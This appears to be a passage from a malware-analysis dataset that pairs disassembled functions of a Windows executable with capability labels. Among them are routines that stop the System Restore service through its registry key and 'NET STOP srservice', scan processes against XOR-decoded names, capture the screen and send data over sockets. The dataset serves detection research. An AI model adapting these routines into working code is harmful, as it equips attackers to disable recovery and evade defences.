joyce8/EMBER2024-capa huggingface dataset:
Function at 0x410570
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff34
push ebx
push esi
push edi
mov eax, 0x5cafbc
call fcn.00496be4
mov word [ebp - 0x24], 8
mov dword [ebp - 0xcc], 0x94
lea edx, [ebp - 0xcc]
push edx
call sub.KERNEL32.DLL_GetVersionExA
test eax, eax
je 0x4106c3
cmp dword [ebp - 0xbc], 2
jne 0x4106c3
mov dl, 1
mov eax, dword [0x451018]
call fcn.00451118
mov dword [ebp - 0x38], eax
mov word [ebp - 0x24], 8
mov edx, reloc.WSOCK32.DLL_bind
mov eax, dword [ebp - 0x38]
call fcn.004a4458
mov word [ebp - 0x24], 0x14
mov edx, str.SYSTEMControlSet001Services_srservice
lea eax, [ebp - 4]
call fcn.004a44ec
inc dword [ebp - 0x18]
mov edx, dword [eax]
mov cl, 1
mov eax, dword [ebp - 0x38]
call fcn.004512fc
dec dword [ebp - 0x18]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4690
mov word [ebp - 0x24], 0x20
mov edx, 0x5c2586
lea eax, [ebp - 8]
call fcn.004a44ec
inc dword [ebp - 0x18]
mov edx, dword [eax]
mov ecx, 4
mov eax, dword [ebp - 0x38]
call fcn.004518cc
dec dword [ebp - 0x18]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a4690
mov eax, dword [ebp - 0x38]
call fcn.00451188
mov word [ebp - 0x24], 0x2c
mov edx, str.SYSTEMCurrentControlSetServices_srservice
lea eax, [ebp - 0xc]
call fcn.004a44ec
inc dword [ebp - 0x18]
mov edx, dword [eax]
mov cl, 1
mov eax, dword [ebp - 0x38]
call fcn.004512fc
dec dword [ebp - 0x18]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a4690
mov word [ebp - 0x24], 0x38
mov edx, str.Start
lea eax, [ebp - 0x10]
call fcn.004a44ec
inc dword [ebp - 0x18]
mov edx, dword [eax]
mov ecx, 4
mov eax, dword [ebp - 0x38]
call fcn.004518cc
dec dword [ebp - 0x18]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004a4690
mov eax, dword [ebp - 0x38]
call fcn.00451188
push 0
push str.NET_STOP_srservice
call sub.KERNEL32.DLL_WinExec
mov word [ebp - 0x24], 0
jmp 0x4106d6
mov edx, dword [ebp - 0x34]
mov dword fs:[0], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4106e8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
mov eax, 0x5cb04c
call fcn.00496be4
mov dword [ebp - 0xc], 1
lea edx, [ebp + 0xc]
lea eax, [ebp + 0xc]
call fcn.004a4524
inc dword [ebp - 0xc]
mov word [ebp - 0x18], 8
mov word [ebp - 0x18], 0x14
lea edx, [ebp + 0xc]
lea eax, [ebp - 4]
call fcn.004a4524
inc dword [ebp - 0xc]
mov word [ebp - 0x18], 8
mov byte [ebp - 0x29], 1
lea eax, [ebp - 4]
call fcn.00403ab8
mov dword [ebp - 0x30], eax
xor edx, edx
mov dword [ebp - 0x34], edx
mov ecx, dword [ebp - 0x34]
cmp ecx, dword [ebp - 0x30]
jge 0x410765
lea eax, [ebp - 4]
call fcn.00401b28
mov edx, dword [ebp - 0x34]
mov cl, byte [ebp - 0x29]
xor byte [eax + edx], cl
inc dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x30]
jl 0x410749
mov word [ebp - 0x18], 0x20
lea edx, [ebp - 4]
mov eax, dword [ebp + 8]
call fcn.004a46c0
mov eax, dword [ebp + 8]
mov word [ebp - 0x18], 0x2c
push eax
dec dword [ebp - 0xc]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0xc]
lea eax, [ebp + 0xc]
mov edx, 2
call fcn.004a4690
pop eax
mov word [ebp - 0x18], 0x20
inc dword [ebp - 0xc]
mov edx, dword [ebp - 0x28]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret
Function at 0x4107b8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
mov eax, 0x5cb0d0
call fcn.00496be4
mov dword [ebp - 0xc], 1
lea edx, [ebp + 0xc]
lea eax, [ebp + 0xc]
call fcn.004a4524
inc dword [ebp - 0xc]
mov word [ebp - 0x18], 8
mov word [ebp - 0x18], 0x14
lea edx, [ebp + 0xc]
lea eax, [ebp - 4]
call fcn.004a4524
inc dword [ebp - 0xc]
mov word [ebp - 0x18], 8
mov byte [ebp - 0x29], 0x15
lea eax, [ebp - 4]
call fcn.00403ab8
mov dword [ebp - 0x30], eax
xor edx, edx
mov dword [ebp - 0x34], edx
mov ecx, dword [ebp - 0x34]
cmp ecx, dword [ebp - 0x30]
jge 0x410835
lea eax, [ebp - 4]
call fcn.00401b28
mov edx, dword [ebp - 0x34]
mov cl, byte [ebp - 0x29]
xor byte [eax + edx], cl
inc dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x30]
jl 0x410819
mov word [ebp - 0x18], 0x20
lea edx, [ebp - 4]
mov eax, dword [ebp + 8]
call fcn.004a46c0
mov eax, dword [ebp + 8]
mov word [ebp - 0x18], 0x2c
push eax
dec dword [ebp - 0xc]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0xc]
lea eax, [ebp + 0xc]
mov edx, 2
call fcn.004a4690
pop eax
mov word [ebp - 0x18], 0x20
inc dword [ebp - 0xc]
mov edx, dword [ebp - 0x28]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret
Function at 0x410a18
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe8c
mov eax, 0x5cb1c4
call fcn.00496be4
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0xffffffff
jne 0x410a4e
xor eax, eax
mov edx, dword [ebp - 0x3c]
mov dword fs:[0], edx
jmp 0x410be7
mov dword [ebp - 0x174], 0x128
lea ecx, [ebp - 0x174]
push ecx
push dword [ebp - 0x40]
call sub.KERNEL32.DLL_Process32First
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
je 0x410bd3
xor eax, eax
mov dword [ebp - 0x4c], eax
mov word [ebp - 0x2c], 8
mov edx, dword [ebp - 0x4c]
mov edx, dword [edx*4 + 0x4ba498]
lea eax, [ebp - 4]
call fcn.004a44ec
inc dword [ebp - 0x20]
push dword [eax]
lea eax, [ebp - 8]
call fcn.00401af8
push eax
inc dword [ebp - 0x20]
call fcn.004107b8
add esp, 8
lea eax, [ebp - 8]
call fcn.00401b28
push eax
call sub.USER32.DLL_CharLowerA
push eax
lea eax, [ebp - 0x10]
call fcn.00401af8
push eax
inc dword [ebp - 0x20]
lea edx, [ebp - 0x150]
lea eax, [ebp - 0xc]
call fcn.004a44ec
inc dword [ebp - 0x20]
mov eax, dword [eax]
pop edx
call fcn.0048b7f8
lea eax, [ebp - 0x10]
call fcn.00401b28
push eax
call sub.USER32.DLL_CharLowerA
push eax
call fcn.00496800
add esp, 8
test eax, eax
sete dl
and edx, 1
push edx
dec dword [ebp - 0x20]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0x20]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0x20]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0x20]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4690
pop ecx
test cl, cl
je 0x410b9d
mov word [ebp - 0x2c], 0x14
lea eax, [ebp - 0x18]
call fcn.00401af8
push eax
inc dword [ebp - 0x20]
lea edx, [ebp - 0x150]
lea eax, [ebp - 0x14]
call fcn.004a44ec
inc dword [ebp - 0x20]
mov eax, dword [eax]
pop edx
call fcn.0048b7f8
lea eax, [ebp - 0x18]
call fcn.00401b28
push eax
call fcn.00401dac
pop ecx
dec dword [ebp - 0x20]
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0x20]
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.004a4690
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 0x183
jl 0x410a79
mov dword [ebp - 0x174], 0x128
lea ecx, [ebp - 0x174]
push ecx
push dword [ebp - 0x40]
call sub.KERNEL32.DLL_Process32Next
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jne 0x410a74
push dword [ebp - 0x40]
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
mov edx, dword [ebp - 0x3c]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret
Function at 0x411b20
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff44
push ebx
push esi
push edi
mov eax, 0x5cb710
call fcn.00496be4
mov word [ebp - 0x34], 8
lea eax, [ebp - 4]
call fcn.00401af8
inc dword [ebp - 0x28]
mov word [ebp - 0x34], 0x14
push 0x104
lea edx, [ebp - 0xbc]
push edx
call sub.KERNEL32.DLL_GetWindowsDirectoryA
mov word [ebp - 0x34], 0x20
lea eax, [ebp - 0x10]
call fcn.00401af8
push eax
inc dword [ebp - 0x28]
mov edx, 0x5c2757
lea eax, [ebp - 0xc]
call fcn.004a44ec
inc dword [ebp - 0x28]
lea edx, [ebp - 0xc]
push edx
lea edx, [ebp - 0xbc]
lea eax, [ebp - 8]
call fcn.004a44ec
inc dword [ebp - 0x28]
pop edx
pop ecx
call fcn.004a46e8
lea edx, [ebp - 0x10]
lea eax, [ebp - 4]
call fcn.004a46c0
dec dword [ebp - 0x28]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0x28]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0x28]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a4690
mov dl, 1
mov eax, dword [0x45aad0]
call fcn.00460528
mov dword [ebp - 0x48], eax
mov word [ebp - 0x34], 0x14
mov dl, 1
mov eax, dword [0x4b5a38]
call fcn.004b5cc4
mov dword [ebp - 0x4c], eax
mov ecx, dword [0x5d9ca8]
mov eax, dword [ecx]
call fcn.0046c37c
mov dword [ebp - 0x50], eax
mov edx, dword [0x5d9ca8]
mov eax, dword [edx]
call fcn.0046c370
mov dword [ebp - 0x54], eax
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x48]
mov ecx, dword [eax]
call dword [ecx + 0x40]
mov edx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x48]
mov ecx, dword [eax]
call dword [ecx + 0x34]
push 0
call sub.USER32.DLL_GetDC
mov dword [ebp - 0x58], eax
push 0xcc0020
push 0
push 0
push dword [ebp - 0x58]
push dword [ebp - 0x54]
push dword [ebp - 0x50]
push 0
push 0
mov eax, dword [ebp - 0x48]
call fcn.00460a94
call fcn.0045c964
push eax
call sub.GDI32.DLL_BitBlt
push dword [ebp - 0x58]
push 0
call sub.USER32.DLL_ReleaseDC
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x4c]
mov ecx, dword [eax]
call dword [ecx + 8]
mov dl, byte [ebp + 8]
mov eax, dword [ebp - 0x4c]
mov byte [eax + 0x37], dl
mov eax, dword [ebp - 0x4c]
call fcn.004b61e8
mov word [ebp - 0x34], 0x2c
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x4c]
mov ecx, dword [eax]
call dword [ecx + 0x4c]
mov word [ebp - 0x34], 0x14
jmp 0x411cae
mov edx, dword [ebp - 0x4c]
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], 0
je 0x411cdb
mov eax, dword [ebp - 0x18]
mov edx, dword [eax]
mov dword [ebp - 0x14], edx
mov word [ebp - 0x34], 0x44
mov edx, 3
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
call dword [ecx - 4]
mov word [ebp - 0x34], 0x38
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x411d08
mov edx, dword [ebp - 0x20]
mov ecx, dword [edx]
mov dword [ebp - 0x1c], ecx
mov word [ebp - 0x34], 0x5c
mov edx, 3
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax]
call dword [ecx - 4]
mov word [ebp - 0x34], 0x50
lea eax, [ebp - 4]
call fcn.00401b28
push eax
call fcn.0040dc38
pop ecx
push eax
dec dword [ebp - 0x28]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4690
pop eax
mov edx, dword [ebp - 0x44]
mov dword fs:[0], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x411d3c
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff4c
mov eax, 0x5cb7d4
call fcn.00496be4
xor edx, edx
mov dword [ebp - 0x34], edx
mov word [ebp - 0x20], 8
lea eax, [ebp - 4]
call fcn.00401af8
inc dword [ebp - 0x14]
mov word [ebp - 0x20], 0x14
push 4
call fcn.00495a0c
pop ecx
mov dword [ebp - 0x3c], eax
push 4
call fcn.00495a0c
pop ecx
mov dword [ebp - 0x40], eax
mov edx, dword [ebp - 0x40]
mov ecx, 0x32
mov dword [edx], ecx
mov eax, dword [ebp - 0x3c]
mov dword [eax], ecx
xor edx, edx
mov dword [ebp - 0x44], edx
xor eax, eax
mov dword [ebp - 0x48], eax
push 8
call fcn.00495a0c
pop ecx
mov dword [ebp - 0x4c], eax
jmp 0x411df6
mov edx, dword [ebp - 0x40]
mov ecx, 0x32
mov dword [edx], ecx
mov eax, dword [ebp - 0x3c]
mov dword [eax], ecx
inc dword [ebp - 0x48]
xor edx, edx
mov dword [ebp - 0x44], edx
cmp dword [ebp - 0x34], 5
jne 0x411df3
mov word [ebp - 0x20], 0x20
lea edx, [ebp - 0x80]
lea eax, [ebp - 8]
call fcn.004a44ec
inc dword [ebp - 0x14]
lea edx, [ebp - 8]
lea eax, [ebp - 4]
call fcn.004a46c0
dec dword [ebp - 0x14]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a4690
inc dword [ebp - 0x34]
push dword [ebp - 0x4c]
push dword [ebp - 0x40]
lea ecx, [ebp - 0xb4]
push ecx
push dword [ebp - 0x44]
push dword [ebp - 0x3c]
lea eax, [ebp - 0x80]
push eax
push dword [ebp - 0x48]
push reloc.WSOCK32.DLL_closesocket
call sub.ADVAPI32.DLL_RegEnumKeyExA
test eax, eax
je 0x411da7
mov word [ebp - 0x20], 0x2c
lea edx, [ebp - 4]
lea eax, [ebp - 0xc]
call fcn.004a4524
mov edx, eax
inc dword [ebp - 0x14]
mov eax, dword [ebp + 8]
call fcn.004a46c0
mov eax, dword [ebp + 8]
mov word [ebp - 0x20], 0x38
push eax
dec dword [ebp - 0x14]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0x14]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4690
pop eax
mov word [ebp - 0x20], 0x2c
inc dword [ebp - 0x14]
mov edx, dword [ebp - 0x30]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret
Function at 0x4124a0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffea0
mov eax, 0x5cbc30
call fcn.00496be4
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xffffffff
jne 0x4124d6
mov edx, dword [ebp - 0x2c]
mov dword fs:[0], edx
mov eax, edx
jmp 0x412593
mov dword [ebp - 0x160], 0x128
lea ecx, [ebp - 0x160]
push ecx
push dword [ebp - 0x30]
call sub.KERNEL32.DLL_Process32First
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
je 0x412582
mov word [ebp - 0x1c], 8
lea eax, [ebp - 8]
call fcn.00401af8
push eax
inc dword [ebp - 0x10]
lea edx, [ebp - 0x13c]
lea eax, [ebp - 4]
call fcn.004a44ec
inc dword [ebp - 0x10]
mov eax, dword [eax]
pop edx
call fcn.0048b7f8
lea eax, [ebp - 8]
call fcn.00401b28
push eax
call sub.USER32.DLL_CharLowerA
push eax
call fcn.00401dac
pop ecx
dec dword [ebp - 0x10]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0x10]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4690
mov dword [ebp - 0x160], 0x128
lea ecx, [ebp - 0x160]
push ecx
push dword [ebp - 0x30]
call sub.KERNEL32.DLL_Process32Next
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jne 0x4124fc
push dword [ebp - 0x30]
call sub.KERNEL32.DLL_CloseHandle
mov eax, dword [ebp - 0x2c]
mov dword fs:[0], eax
mov esp, ebp
pop ebp
ret
Function at 0x44aad0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
xor eax, eax
mov dword [ebp - 0x1c], eax
xor eax, eax
push ebp
push 0x44ab59
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x5da78c
push 0x101
call sub.WSOCK32.DLL_WSAStartup
mov ebx, eax
test ebx, ebx
je 0x44ab43
lea edx, [ebp - 0x1c]
mov eax, ebx
call fcn.0048dcac
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x14], 0xb
mov dword [ebp - 0x10], ebx
mov byte [ebp - 0xc], 0
mov eax, 0x44ab70
mov dword [ebp - 8], eax
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x18]
push eax
push 2
mov ecx, dword [0x5d9de4]
mov dl, 1
mov eax, dword [0x449ecc]
call fcn.0048e5e4
call fcn.004931d8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44ab60
lea eax, [ebp - 0x1c]
call fcn.004936dc
ret
Function at 0x44b1ec
Capabilities:
Connect socket

Disassembly:
push ebx
push esi
mov esi, eax
mov eax, esi
call fcn.0044b110
mov cl, 1
mov edx, esi
mov eax, esi
mov bx, 0xffff
call fcn.00492c5c
push 0x10
lea eax, [esi + 0x18]
push eax
mov eax, dword [esi + 4]
push eax
call sub.WSOCK32.DLL_connect
mov edx, 0x44b250
call fcn.0044aa18
mov byte [esi + 0x29], 0
test byte [esi + 0x28], 0x10
jne 0x44b242
cmp dword [esi + 4], 0xffffffff
setne al
mov byte [esi + 8], al
mov cl, 2
mov edx, esi
mov eax, esi
mov bx, 0xffff
call fcn.00492c5c
pop esi
pop ebx
ret

Function at 0x44b274
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0044af90
xor eax, eax
push ebp
push 0x44b2f3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.004936dc
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0xffffffff
jne 0x44b2ad
call fcn.00493278
jmp 0x44b2fa
mov dword [ebp - 8], 0x10
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.WSOCK32.DLL_getsockname
test eax, eax
jne 0x44b2dd
push dword [ebp - 0x14]
call sub.WSOCK32.DLL_inet_ntoa
mov edx, eax
mov eax, ebx
call fcn.00493894
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44b2fa
mov eax, dword [ebp - 4]
call fcn.0044af9c
ret
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x44b3a8
Capabilities:
Resolve dns

Disassembly:
push ebx
add esp, 0xfffffff8
mov ebx, edx
mov eax, ebx
call fcn.00493b20
push eax
call sub.WSOCK32.DLL_gethostbyname
mov ebx, eax
lea eax, [esp + 4]
xor ecx, ecx
mov edx, 4
call fcn.0049277c
test ebx, ebx
je 0x44b3f3
mov eax, ebx
mov edx, dword [eax + 0xc]
mov edx, dword [edx]
mov cl, byte [edx]
mov byte [esp + 4], cl
mov cl, byte [edx + 1]
mov byte [esp + 5], cl
mov cl, byte [edx + 2]
mov byte [esp + 6], cl
mov al, byte [edx + 3]
mov byte [esp + 7], al
mov eax, dword [esp + 4]
mov dword [esp], eax
mov eax, dword [esp]
pop ecx
pop edx
pop ebx
ret

Function at 0x44b438
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov esi, eax
mov ebx, dword [ebp + 8]
mov word [ebx], 2
test edi, edi
je 0x44b460
mov edx, edi
mov eax, esi
call fcn.0044b3a8
mov dword [ebx + 4], eax
jmp 0x44b49d
cmp dword [ebp - 4], 0
je 0x44b479
mov eax, dword [ebp - 4]
call fcn.00493b20
push eax
call sub.WSOCK32.DLL_inet_addr
mov dword [ebx + 4], eax
jmp 0x44b49d
cmp byte [ebp + 0xc], 0
jne 0x44b486
xor eax, eax
mov dword [ebx + 4], eax
jmp 0x44b49d
mov ecx, dword [0x5d9dec]
mov dl, 1
mov eax, dword [0x449ecc]
call fcn.0048e5a8
call fcn.004931d8
cmp dword [ebp + 0x14], 0
je 0x44b4b9
mov edx, dword [ebp + 0x14]
mov eax, esi
call fcn.0044b404
push eax
call sub.WSOCK32.DLL_htons
mov word [ebx + 2], ax
jmp 0x44b4c7
mov ax, word [ebp + 0x10]
push eax
call sub.WSOCK32.DLL_htons
mov word [ebx + 2], ax
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 0x10
Function at 0x44b4d0
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
je 0x44b501
mov ecx, dword [0x5d9df0]
mov dl, 1
mov eax, dword [0x449ecc]
call fcn.0048e5a8
call fcn.004931d8
push 0
push 1
push 2
call sub.WSOCK32.DLL_socket
mov ebx, eax
mov eax, dword [ebp - 4]
mov dword [eax + 4], ebx
inc ebx
jne 0x44b52e
mov ecx, dword [0x5d9df4]
mov dl, 1
mov eax, dword [0x449ecc]
call fcn.0048e5a8
call fcn.004931d8
xor eax, eax
push ebp
push 0x44b5b2
push dword fs:[eax]
mov dword fs:[eax], esp
xor ecx, ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov bx, 0xffff
call fcn.00492c5c
cmp byte [ebp + 8], 0
je 0x44b58c
mov eax, dword [ebp + 0x14]
push eax
mov ax, word [ebp + 0x10]
push eax
push 0
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 8]
mov edx, esi
mov eax, dword [ebp - 4]
call fcn.0044b438
mov eax, dword [ebp - 4]
lea esi, [ebp - 0x18]
lea edi, [eax + 0x18]
mov ecx, 4
rep movsd dword es:[edi], dword [esi]
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.0044b16c
jmp 0x44b5a8
mov eax, dword [ebp + 0x14]
push eax
mov ax, word [ebp + 0x10]
push eax
mov eax, dword [ebp + 0xc]
push eax
push 0
mov ecx, dword [ebp - 8]
mov edx, esi
mov eax, dword [ebp - 4]
call fcn.0044ad04
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x44b5cf
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x44b5d8
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
je 0x44b609
mov ecx, dword [0x5d9df8]
mov dl, 1
mov eax, dword [0x449ecc]
call fcn.0048e5a8
call fcn.004931d8
push 0
push 1
push 2
call sub.WSOCK32.DLL_socket
mov ebx, eax
mov eax, dword [ebp - 4]
mov dword [eax + 4], ebx
inc ebx
jne 0x44b636
mov ecx, dword [0x5d9df4]
mov dl, 1
mov eax, dword [0x449ecc]
call fcn.0048e5a8
call fcn.004931d8
xor eax, eax
push ebp
push 0x44b6b5
push dword fs:[eax]
mov dword fs:[eax], esp
xor ecx, ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov bx, 0xffff
call fcn.00492c5c
cmp byte [ebp + 8], 0
je 0x44b691
mov eax, dword [ebp + 0x10]
push eax
mov ax, word [ebp + 0xc]
push eax
push 1
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 8]
mov edx, esi
mov eax, dword [ebp - 4]
call fcn.0044b438
mov eax, dword [ebp - 4]
lea esi, [ebp - 0x18]
lea edi, [eax + 0x18]
mov ecx, 4
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 4]
call fcn.0044b1ec
jmp 0x44b6ab
mov eax, dword [ebp + 0x10]
push eax
mov ax, word [ebp + 0xc]
push eax
push 0
push 1
mov ecx, dword [ebp - 8]
mov edx, esi
mov eax, dword [ebp - 4]
call fcn.0044ad04
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x44b6d2
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x44b8b4
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xfffffff0
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0044af90
xor edx, edx
push ebp
push 0x44ba14
push dword fs:[edx]
mov dword fs:[edx], esp
mov byte [ebp - 5], 0
mov eax, dword [ebp - 4]
cmp dword [eax + 0xc], 0
je 0x44b9fe
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0xffffffff
je 0x44b8fe
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x44b908
call fcn.00493278
jmp 0x44ba1b
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.00484274
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x1010]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov ecx, 0x1000
mov ebx, dword [eax]
call dword [ebx + 4]
mov ebx, eax
test ebx, ebx
jle 0x44b9f3
push 0
push ebx
lea eax, [ebp - 0x1010]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.WSOCK32.DLL_send
cmp eax, 0xffffffff
jne 0x44b9b1
call sub.WSOCK32.DLL_WSAGetLastError
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x2733
je 0x44b9a1
lea eax, [ebp - 0x10]
push eax
mov cl, 1
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov bx, 0xfffe
call fcn.00492c5c
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
push ebp
call fcn.0044b86c
pop ecx
mov eax, dword [ebp - 4]
mov dl, byte [0x44ba24]
cmp dl, byte [eax + 0x28]
je 0x44b9fa
call fcn.0048e490
jmp 0x44b9fa
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov edx, dword [ebp - 0xc]
call fcn.00484284
jmp 0x44b9fa
cmp eax, ebx
jge 0x44b9ca
mov edx, dword [ebp - 0xc]
add edx, eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.00484284
jmp 0x44b908
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.00484274
mov ebx, eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.00484290
cmp ebx, eax
jne 0x44b908
push ebp
call fcn.0044b86c
pop ecx
jmp 0x44b9fa
push ebp
call fcn.0044b86c
pop ecx
mov byte [ebp - 5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44ba1b
mov eax, dword [ebp - 4]
call fcn.0044af9c
ret
mov al, byte [ebp - 5]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x44ba28
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov esi, ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44bb4a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.0044af90
xor eax, eax
push ebp
push 0x44bb2d
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x44ba78
call fcn.00493278
jmp 0x44bb34
push 0
push esi
push ebx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.WSOCK32.DLL_send
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x44bb17
call sub.WSOCK32.DLL_WSAGetLastError
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x2733
je 0x44bb17
lea eax, [ebp - 0xc]
push eax
mov cl, 1
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov bx, 0xfffe
call fcn.00492c5c
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
